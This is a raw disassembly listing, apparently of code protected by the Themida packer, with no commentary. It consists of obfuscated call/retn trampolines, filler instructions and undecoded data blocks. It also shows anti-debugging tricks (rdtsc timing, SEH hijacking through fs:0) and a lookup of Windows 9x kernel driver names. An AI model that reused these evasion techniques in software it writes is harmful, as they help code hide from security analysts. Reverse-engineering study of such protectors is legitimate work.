		push	0
		push	ecx
		call	sub_583193
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583193	proc near		; CODE XREF: Themida_:0058318Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_583193	endp

; ---------------------------------------------------------------------------
		inc	ebx
		dec	edi
		inc	ecx
		adc	[ebx], dl
		mov	ebp, 8F59509h
		clts
		mov	[ebp+60F30D9h],	edi
		mov	[ebp+60F2E91h],	edx
		push	0
		push	edx
		call	sub_5831C6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5831C6	proc near		; CODE XREF: Themida_:005831BEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5831C6	endp

; ---------------------------------------------------------------------------
		dw 4A77h
		dd 0D3369E63h, 0FB4E8F1h, 0D83h, 8E900h, 5A510000h, 6EE1086h
		dd 0E961183Eh, 7, 9A689087h, 0C2913AFFh, 6A0008h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 3288BCC3h, 2C99858Bh, 9509060Fh, 60F30B9h, 0B99D894Ah
		dd 6B060F15h, 0B50104D2h, 60F26E9h, 9E9C203h, 0A4000000h
		dd 449DD6CFh, 3005241Bh, 6A96F8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 3013B5C3h, 7177F341h
		dd 0FD541BAh, 684h, 99D2900h, 0AD060F09h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 1DC35545h, 0D450BB6Eh
		dd 55B529C4h, 0E9060F1Bh, 9, 81AD442Fh,	9ACCF1EFh, 247C814Bh
		dd 24h,	26870F10h, 6A000001h, 3E85600h,	20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 8654C356h, 604108FAh
		dd 53B8D980h, 615BE8B2h, 0DE990h, 0ED800000h, 6492C2DDh
		dd 0B12B3DAAh, 505FB06Fh, 138F0Fh, 0EE90000h, 0CA000000h
		dd 345E36F3h, 2ADE16E4h, 7AD72360h, 6A9010h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0D2085C3h
		dd 0FC8B827h, 18Fh, 0E9F8FC00h,	14h, 0B3E738CEh, 88E67E4h
		dd 0B020B215h, 2F9E1AA6h, 6507EBEEh, 2824448Bh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 7EC35040h, 0DE990DDh
		dd 3F000000h, 0F7BEDE42h, 4A8C12A3h, 0A8898B6Ah, 0F606050h
		dd 83h,	880F00h, 61000000h, 61605250h, 585A310Fh, 8DF89061h
		dd 124AA285h, 18F0F06h,	0F9000000h, 6AD0FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0C7B96EC3h
		dd 23D3E866h, 6850FD8h,	89000000h, 0F1DB1BDh, 0FD40E906h
		dd 9589FFFFh, 60F2749h,	2FC1BD89h
; ---------------------------------------------------------------------------
		clts


loc_5833FA:				; CODE XREF: Themida_:00582194j
		lea	eax, [ebp+6128847h]
		jl	loc_583413
		jmp	loc_583413
; ---------------------------------------------------------------------------
		push	0D84C6147h
		retn
; ---------------------------------------------------------------------------
		db 9, 0A6h
; ---------------------------------------------------------------------------


loc_583413:				; CODE XREF: Themida_:00583400j
					; Themida_:00583406j
		nop
		pusha
		mov	edx, 2452CAEh
		popa
		push	eax
		push	eax
		push	edx
		jz	loc_583426
		pusha
		popa


loc_583426:				; CODE XREF: Themida_:0058341Ej
		rdtsc
		pusha
		call	sub_58343D
		in	eax, 0ACh	; Interrupt Controller #2, 8259A
		cmp	ebx, [ecx]
		aam	9Fh
		sub	ecx, ebx
		push	ecx
		push	edx
		retf	470Eh
; ---------------------------------------------------------------------------
		mov	bh, 1Dh

; =============== S U B	R O U T	I N E =======================================



sub_58343D	proc near		; CODE XREF: Themida_:00583429p

arg_24		= dword	ptr  28h

		pop	edi
		mov	edi, 2CED92AAh
		popa
		pop	edx
		pop	eax
		nop
		pusha
		xor	ebx, 29EDDDA4h
		jmp	loc_583458
; ---------------------------------------------------------------------------
		db 84h
		dd 9AF3EE67h
; ---------------------------------------------------------------------------


loc_583458:				; CODE XREF: sub_58343D+11j
		popa
		push	large dword ptr	fs:0
		cld
		mov	eax, [esp-28h+arg_24]
		add	[ebp+60F1E69h],	edi
		mov	[ebp+60F32ADh],	eax
		jnb	loc_58347C
		pusha
		mov	cx, 82A1h
		popa


loc_58347C:				; CODE XREF: sub_58343D+33j
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_58348E
		and	[ebp-3Dh], bl
sub_58343D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_58348E	proc near		; CODE XREF: sub_58343D+49p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_58348E	endp

; ---------------------------------------------------------------------------
		dw 35AEh
		dd 78F0F74h, 0F000000h,	18Eh, 8E9FC00h,	6E000000h, 79184C21h
		dd 60006521h, 2F95BD09h, 8B66060Fh, 858D61FAh, 61286B1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 60C35040h
		dd 6A016089h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 1DD1C350h, 0AEA3B3D4h,	60B14738h
		dd 6E960h, 653F0000h, 5AE2E95Eh, 59B589h, 8961060Fh, 0F0D1D9Dh
		dd 0FE96106h, 6A000002h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0FF68C352h,	0FE6CCBF8h
		dd 237DC36Ch, 14E9h, 0B7E09500h, 3D9EF83Ch, 86ADF3B7h
		dd 0D99D5D61h, 0AEF76359h, 0E8DB8B24h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 61286AAh
		mov	esp, 12FF9Ch
		cmp	dword ptr [ebp+60F21D5h], 0
		jz	short loc_5835A1
		mov	eax, [ebp+60F2C8Dh]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+60F084Dh]
		mov	byte ptr [eax],	0
		call	dword ptr [ebp+60F2275h]


loc_5835A1:				; CODE XREF: Themida_:00583587j
		pusha
		push	dword ptr [ebp+6126ECAh]
		lea	eax, [ebp+6126ECEh]
		push	eax
		lea	eax, [ebp+61270C6h]
		push	eax
		call	dword ptr [ebp+60F167Dh]
		add	esp, 0Ch
		popa
		push	0
		push	edx
		call	sub_5835CB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5835CB	proc near		; CODE XREF: Themida_:005835C3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5835CB	endp

; ---------------------------------------------------------------------------
		db 9Ch
		dd 0BC9634E0h, 0E9F9C918h, 0Ah,	0FB9CBBEAh, 0A35C5CE7h
		dd 0B58D22E1h, 61270C6h, 0AE9h,	47C71000h, 0F4B28126h
		dd 8D57A862h, 0F0579BDh, 68A0F06h, 29000000h, 0F28799Dh
		dd 3E8006h, 4F840Fh, 8D0F0000h,	1, 8A60A4F8h, 0F3BF66D1h
		dd 0E96061FFh, 0Ch, 7D3B9050h, 0F881ACEBh, 29A8946Dh, 0A4C2BB56h
		dd 615E3394h, 0FFFFC8E9h, 11E9FFh, 0C7FB0000h, 2209D788h
		dd 11D220C4h, 0FE7278D2h, 0FD0861Ah, 481h, 59526000h, 0B861h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 2D55C2C3h, 758509h, 9AA060Fh, 0F1BF9BDh
		dd 7B806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 89FD0FC3h, 0F30F99Dh, 185C706h
		dd 1060F19h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0F74BC352h,	8B6660A6h
		dd 11BD01D6h, 61060F0Bh, 7A5BD31h, 8D8D060Fh, 60F4CA7h
		dd 1611BD89h, 0E1FF060Fh, 245C8BF5h, 0E8550Ch, 5D000000h
		dd 8851ED81h, 838B0612h, 0B8h, 6ECA8589h, 858D0612h, 61286A3h
		dd 0B88389h, 335D0000h,	6AC3C0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 5CD333C3h, 60605288h
		dd 6E9h, 6DACF700h, 315BCC60h, 0F04ED95h, 7E96106h, 0D0000000h
		dd 3A1D4784h, 6A61C937h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 4710C350h, 41858960h
		dd 80060F21h, 606178DCh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0FCC35646h, 5752AC06h, 60C01D25h, 31BD9D89h
		dd 0BD89060Fh, 60F2B59h, 0F6858D61h, 6A06128Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 927AC352h, 0CC05380Ch, 0F2183FCEh, 2A799D31h, 960060Fh
		dd 0F17CDBDh, 0C2B70F06h, 52509061h, 4A60BA60h,	84BB1F98h
		dd 61517C04h, 0E860310Fh, 12h, 75A081Dh, 440887BAh, 0BB18FA4h
		dd 29C55D59h, 6658CFF5h, 611847BEh, 0F50585Ah, 1483h, 0FE900h
		dd 43790000h, 6E0E130Bh, 0D4DC7E6h, 0DA282172h,	6A90D6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 91F37BC3h, 8A609AD3h, 0A9858BE3h, 61060F1Eh,	35FF64h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0FF2BC356h, 32CDBD29h,	8964060Fh
		dd 25h,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh,	24448104h
		dd 1B04h, 0C3564600h, 0CFA88A3Dh, 5849C28Ah, 32ED9589h
		dd 8D0F060Fh, 0Ah, 5E9h, 0FAA5A800h, 858D6AB5h,	6128C80h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 56C35747h
		dd 818589A2h, 0F060F1Eh, 1484h,	0FE900h, 0BB90000h, 0FCE33AE1h
		dd 85B3363Eh, 0AA2891C6h, 1608959h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 38C35747h, 60E1502Eh, 22CD8D31h
		dd 0BF0F060Fh, 85C661D6h, 60F24FDh, 57006A4Fh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 37BC435Ch
		dd 14E9602Bh, 96000000h, 8AEA9A05h, 37C0419Fh, 5330954Fh
		dd 1712647Ah, 892A61FDh, 0F28618Dh, 51606106h, 58C7BF0Fh
		dd 6D6861F9h, 0FBFE001h, 88Ah, 2810F00h, 60000000h, 24348161h
		dd 41287547h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	92C35545h, 960363Ah, 0F2C15B5h,	2ABE6606h, 0B5FF612Bh
		dd 60F2CA1h, 2B6D8D89h,	9589060Fh, 60F1DCDh, 72E7858Dh
		dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 688AFDC3h, 0E960DCD4h, 6,	8D19F1Ah, 8B66027Eh
		dd 0D0FF61CFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	6CC35343h, 38961863h, 5BD92F9Fh, 0FA8B6660h, 87CCBE66h
		dd 13E961h, 5A6D0000h, 0C927042Ah, 93C9FC04h, 0E033791Ah
		dd 0FAB89965h, 0BCE94Ah, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0EDB673C3h, 47017783h
		dd 89603530h, 0F2369B5h, 8D958906h, 61060F2Ah, 0C245C8Bh
		dd 0E855h, 815D0000h, 128C00EDh, 0E5858B06h, 89060F1Ch
		dd 0F2CA185h, 61858B06h, 89060F1Ah, 0F1E3D85h, 25858B06h
		dd 89060F1Eh, 0F283585h, 0FD85C606h, 60F24h, 745785C7h
		dd 612h, 858D0000h, 6128C80h, 0B88389h,	335D0000h, 10E9C3C0h
		dd 45000000h, 0A4174325h, 0B5A585F0h, 0F94B028Bh, 6A7EED53h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0ADABC357h, 74BCD68Eh, 6A0012FFh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0B548C350h, 89603330h, 0F2C959Dh, 69850306h,	61060F2Ah
		dd 58F64F8h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_583B8F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583B8F	proc near		; CODE XREF: Themida_:00583B87p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_583B8F	endp

; ---------------------------------------------------------------------------
		db 20h
; ---------------------------------------------------------------------------
		pusha
		mov	esi, ecx
		and	edi, 7457F13h
		popa
		add	esp, 4
		xor	[ebp+60F13E1h],	ebx
		popa
		jmp	short loc_583BEA
; ---------------------------------------------------------------------------
aIfsmgrVkdVmmVw	db 'IFSMGR  VKD     VMM     VWIN32  VXDLDR  ',0
		align 10h
		dd 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_583BEA:				; CODE XREF: Themida_:00583BB4j
		jmp	loc_5843EA
; ---------------------------------------------------------------------------
		pusha
		pusha
		push	esi
		pop	eax
		mov	ecx, 5AB73ACFh
		popa
		call	near ptr loc_583C0A+1
		and	al, 50h
		mov	dword ptr [edi], 0C9BAA9C1h
		xor	[eax+ecx+13h], ecx


loc_583C0A:				; CODE XREF: Themida_:00583BF9p
		adc	eax, 5AFA8B66h
		popa
		js	loc_583C1B
		pusha
		cmc
		push	ebx
		pop	ecx
		popa


loc_583C1B:				; CODE XREF: Themida_:00583C10j
		pusha
		jmp	loc_583C30
; ---------------------------------------------------------------------------
		db 63h,	9Eh, 36h
		dd 0B4E8F1D3h, 0FFC32629h, 0EEC172EDh
; ---------------------------------------------------------------------------


loc_583C30:				; CODE XREF: Themida_:00583C1Cj
		mov	dword ptr [ebp+6128D14h], 0
		push	0
		push	edx
		call	sub_583C45
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583C45	proc near		; CODE XREF: Themida_:00583C3Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_583C45	endp

; ---------------------------------------------------------------------------
		sub	esi, 0F5AD48E5h
		mov	eax, esi
		push	0
		push	ebp
		call	sub_583C68
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583C68	proc near		; CODE XREF: Themida_:00583C60p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_583C68	endp

; ---------------------------------------------------------------------------
		dd 0B1E3C9Dh, 0EF81606Ch, 7543B415h, 61D88B66h,	60D8B70Fh
		dd 0E3D68166h, 0C1BF0F05h, 10E8C161h, 1F810Fh, 0E8600000h
		dd 12h,	4EE912AEh, 0DE6E3643h, 5E3ED472h, 0F1BD568Ch, 0B85FAA52h
		dd 6FBD54BDh, 0C8C16661h, 0CE908h, 0F9640000h, 0D4749DC6h
		dd 5B743A88h, 8589DF5Dh, 6128D18h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 95C35646h, 0DA74DBD6h, 60B6057Ah
		dd 0BA66F38Ah, 0F56151EFh, 8CBC166h, 198F0Fh, 14E90000h
		dd 10000000h, 3AF11531h, 77075D93h, 0ECC34DF5h,	441BA4E0h
		dd 83BFF389h, 850F40FBh, 95h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 94C35141h, 79AB3F17h, 0BD8D16C2h
		dd 6128CECh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	90C35646h, 33057974h, 18A0FCCh,	0F5000000h, 0CE9h
		dd 0A4005200h, 47D786BBh, 6FD9A36h, 1ECE903h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0A70860C3h, 0A800FBAh, 0E9000000h, 5, 8CEAEC6Dh, 0DFB8382h
		dd 8C850Fh, 800F0000h, 0Ch, 68C0Fh, 8D0F0000h, 0
; ---------------------------------------------------------------------------
		lea	edi, [ebp+6128CF4h]
		push	0
		push	ebp
		call	sub_583DF1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583DF1	proc near		; CODE XREF: Themida_:00583DE9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_583DF1	endp

; ---------------------------------------------------------------------------
		std
		or	al, 6Dh
		shl	byte ptr [ebx+19860Fh],	0
		add	[eax+52h], ah
		pop	ebx
		jmp	loc_583E24
; ---------------------------------------------------------------------------
		dd 6AAF83E5h, 0F035C2FEh, 74CA208Ch, 0BB048E2Bh
; ---------------------------------------------------------------------------


loc_583E24:				; CODE XREF: Themida_:00583E0Fj
		popa
		cld
		jmp	loc_583F82
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_583E36
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583E36	proc near		; CODE XREF: Themida_:00583E2Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_583E36	endp

; ---------------------------------------------------------------------------
		sbb	cl, cl
		push	ecx
		inc	eax
		push	ebp
		mov	ds:8EF9DC28h, eax
		pusha
		mov	di, 51Bh
		or	dl, 0ECh
		popa
		cld
		cmp	ebx, 1
		jnz	loc_583ECC
		push	0
		push	eax
		call	sub_583E6E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583E6E	proc near		; CODE XREF: Themida_:00583E66p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_583E6E	endp

; ---------------------------------------------------------------------------
		dec	esi
		sar	byte ptr [edx-2Dh], 0B5h
		dec	ecx
		dec	ecx
		jb	loc_583E8C
		cld


loc_583E8C:				; CODE XREF: Themida_:00583E85j
		jmp	loc_583E99
; ---------------------------------------------------------------------------
		cld
		fidiv	word ptr [eax-1C3255ACh]
		stc


loc_583E99:				; CODE XREF: Themida_:loc_583E8Cj
		lea	edi, [ebp+6128CFCh]
		jz	loc_583EB3
		pusha
		jb	$+6
		jle	$+6
		popa


loc_583EB3:				; CODE XREF: Themida_:00583E9Fj
		jmp	loc_583F82
; ---------------------------------------------------------------------------
		jnz	loc_583ECC
		jmp	loc_583ECC
; ---------------------------------------------------------------------------
		db 73h
		dd 0F5E469EAh, 164FE21Ch
; ---------------------------------------------------------------------------


loc_583ECC:				; CODE XREF: Themida_:00583E5Dj
					; Themida_:00583EB8j ...
		cmp	ebx, 2Ah
		jnz	loc_583F4C
		pusha
		jmp	loc_583EEB
; ---------------------------------------------------------------------------
		db 0B3h
		dd 0CEF88C28h, 0C8FFF853h, 0DF23E896h
; ---------------------------------------------------------------------------
		fldcw	word ptr [ebx+1Ah]


loc_583EEB:				; CODE XREF: Themida_:00583ED6j
		mov	si, cx
		popa
		lea	edi, [ebp+6128D04h]
		push	0
		push	ebp
		call	sub_583F00
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583F00	proc near		; CODE XREF: Themida_:00583EF8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_583F00	endp

; ---------------------------------------------------------------------------
		dd 79032EBDh, 666070AAh, 3C8CC081h, 0ACABB66h, 7840F61h
		dd 60000000h, 0B2CCCC80h, 4FE96173h, 60000000h,	11E9h
		dd 8F40CB00h, 3C91721Dh, 2623E1B2h, 0E3508015h,	61FC82D2h
; ---------------------------------------------------------------------------


loc_583F4C:				; CODE XREF: Themida_:00583ECFj
		cmp	ebx, 27h
		jnz	loc_584259
		pusha
		cmc
		push	eax
		cmc
		pop	edi
		popa
		lea	edi, [ebp+6128D0Ch]
		push	0
		push	edx
		call	sub_583F6C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583F6C	proc near		; CODE XREF: Themida_:00583F64p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_583F6C	endp

; ---------------------------------------------------------------------------
		dd 5806F0CFh
; ---------------------------------------------------------------------------
		cli
		cld


loc_583F82:				; CODE XREF: Themida_:00583E26j
					; Themida_:loc_583EB3j
		mov	[ebp+6128D1Ch],	edi
		push	0
		push	ebp
		call	sub_583F93
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583F93	proc near		; CODE XREF: Themida_:00583F8Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_583F93	endp

; ---------------------------------------------------------------------------
		sub	al, 7Ah
		db	67h
		mov	ah, 0F9h
		jmp	loc_583FB6
; ---------------------------------------------------------------------------
		db 7, 0C4h, 77h
		dd 0D943E788h
		db 97h,	3Bh
; ---------------------------------------------------------------------------


loc_583FB6:				; CODE XREF: Themida_:00583FA8j
		mov	ax, cs
		push	0
		push	esi
		call	sub_583FC4
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_583FC4	proc near		; CODE XREF: Themida_:00583FBCp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_583FC4	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		dec	edi
		or	[edi+eax*4], bl
		jmp	loc_583FE5
; ---------------------------------------------------------------------------
		dw 0E400h
		dd 6B0A9712h
		db 7Dh
; ---------------------------------------------------------------------------


loc_583FE5:				; CODE XREF: Themida_:00583FD9j
		and	al, 3
		pusha
		mov	bx, 0A593h
		and	ax, 448Fh
		popa
		or	al, al
		jnz	loc_5841A8
		cld
		lea	esi, [ebp+61293DFh]
		jnp	loc_58400F
		pusha
		sub	edx, 527A8C5Ch
		popa


loc_58400F:				; CODE XREF: Themida_:00584001j
		jmp	loc_58401A
; ---------------------------------------------------------------------------
		dd 5E4FBA7Fh
		db 53h,	88h
; ---------------------------------------------------------------------------


loc_58401A:				; CODE XREF: Themida_:loc_58400Fj
		mov	eax, [ebp+612948Ah]
		jp	loc_58403C
		jmp	loc_58403C
; ---------------------------------------------------------------------------
		db 0DBh
		dd 0E6A80BFAh, 0C85DDAE9h, 0D6FE16C4h, 14CAC07Eh
; ---------------------------------------------------------------------------


loc_58403C:				; CODE XREF: Themida_:00584020j
					; Themida_:00584026j
		push	eax
		jl	loc_584053
		jmp	loc_584053
; ---------------------------------------------------------------------------
		dd 82984D08h, 0CB6229D8h
		db 0EEh, 0CFh, 0F0h
; ---------------------------------------------------------------------------


loc_584053:				; CODE XREF: Themida_:0058403Dj
					; Themida_:00584043j
		mov	[esp], edx
		push	0
		push	esi
		call	sub_584061
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584061	proc near		; CODE XREF: Themida_:00584059p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_584061	endp

; ---------------------------------------------------------------------------
		db 40h,	0D0h, 12h
		dd 2BEC3C2Bh, 11E9h, 9938C000h,	0F0F00915h, 8D448FF1h
		dd 4199FCB4h, 8A0FC33Ah, 1, 10FF9F9h, 0E9FE244Ch, 0Bh
		dd 0B39CF318h, 0C082F08Bh, 60341FAEh, 28F0Fh, 0CE8A0000h
		dd 44D9DCB8h, 6A5A6115h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 16F0C350h, 67A18952h
		dd 0CB58AD25h, 6A24C283h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 5C60C357h, 5F134A87h
		dd 728966F9h, 0DE9FCh, 8DF70000h, 0A9D51FD5h, 17FB6C76h
		dd 0C10BC22Ch, 6A10CEh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0EF89B8C3h, 9840Fh, 60600000h, 0F6816661h
		dd 0F561E604h, 2728966h, 4CD6160h, 10E9h, 8B05C100h, 0F0065832h
		dd 7207F37h, 4BC35280h,	0C5E9FC78h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 74FC355h, 9B7AB819h,	13E9h, 4CAE2F00h, 0BDCCC21Fh, 4750FBFh
		dd 7FA7B398h, 0BDE01BD0h
; ---------------------------------------------------------------------------


loc_5841A8:				; CODE XREF: Themida_:00583FF4j
		mov	eax, [ebp+612948Ah]
		pusha
		mov	ax, 8A61h
		mov	bl, cl
		popa
		lea	esi, [ebp+61293DFh]
		cld
		lea	eax, [ebp+6124A30h]
		push	0
		push	edi
		call	sub_5841CE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5841CE	proc near		; CODE XREF: Themida_:005841C6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5841CE	endp

; ---------------------------------------------------------------------------
		pop	eax
		mov	dh, 0D1h
		mov	ecx, ebp
		or	eax, 0FD000000h
		cld
		xor	[eax-0Dh], dl
		aam	39h
		or	al, 69h
		and	dword ptr es:[esi-24h],	60h
		add	cl, 0A3h
		jmp	loc_584211
; ---------------------------------------------------------------------------
		dw 0D488h
		dd 0DD96673Ch, 62AE2D7Dh, 0B8B7FC2Ah, 84916AF8h
		db 0B6h
; ---------------------------------------------------------------------------


loc_584211:				; CODE XREF: Themida_:005841F9j
		popa
		call	eax
		push	0
		push	edx
		call	sub_58421F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58421F	proc near		; CODE XREF: Themida_:00584217p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_58421F	endp

; ---------------------------------------------------------------------------
		db 0ACh
		dd 148EBBECh, 8D148589h, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0FD6233C3h
; ---------------------------------------------------------------------------
		push	ds


loc_584259:				; CODE XREF: Themida_:00583F4Fj
		popa
		push	0
		push	esi
		call	sub_584265
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584265	proc near		; CODE XREF: Themida_:0058425Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_584265	endp

; ---------------------------------------------------------------------------
		add	[esi+4C2C0919h], esp
		mov	ch, 2Ch
		pop	eax
		pusha
		popa
		mov	eax, [ebp+6128D14h]
		cld
		retn
; ---------------------------------------------------------------------------
		dd 1A810FFCh, 0F000000h, 148Ah,	0FE900h, 0EB4C0000h, 875C60DDh
		dd 7B5F134Ah, 0A3C3AAAAh, 8B0F603Eh, 10h, 5E860h, 0DA400000h
		dd 585BB2FEh, 61F1B70Fh, 948ABD83h, 0F000612h, 5F85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 19830F85h, 0E9000000h, 14h, 94E19DB5h, 0E3477A0Ch, 0F5896E7Bh
		dd 5475DF2Fh, 0FEDB1059h, 8A85C7F8h, 3F061294h,	0E9000101h
		dd 14h,	7A5886D2h, 0DDA1DF3Bh, 99D892AEh, 7F51EE75h, 0E1F2645Ah
		dd 21E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0D68B608Dh, 20CDFC61h, 0
; ---------------------------------------------------------------------------


loc_584358:				; CODE XREF: Themida_:00584391j
		or	eax, eax
		jz	short loc_584393
		lea	esi, [eax+0Ch]
		mov	edi, [ebp+6128D1Ch]
		mov	ecx, 8


loc_58436A:				; CODE XREF: Themida_:0058436Ej
		cmpsb
		jnz	short loc_58438F
		dec	ecx
		jnz	short loc_58436A
		mov	ecx, [eax+30h]
		mov	ebx, [ebp+6128D18h]
		cmp	ebx, [eax+34h]
		jg	short loc_584393
		mov	edx, ebx
		imul	edx, 4
		add	ecx, edx
		mov	eax, [ecx]
		mov	[ebp+6128D14h],	eax
		jmp	short loc_584393
; ---------------------------------------------------------------------------


loc_58438F:				; CODE XREF: Themida_:0058436Bj
		mov	eax, [eax]
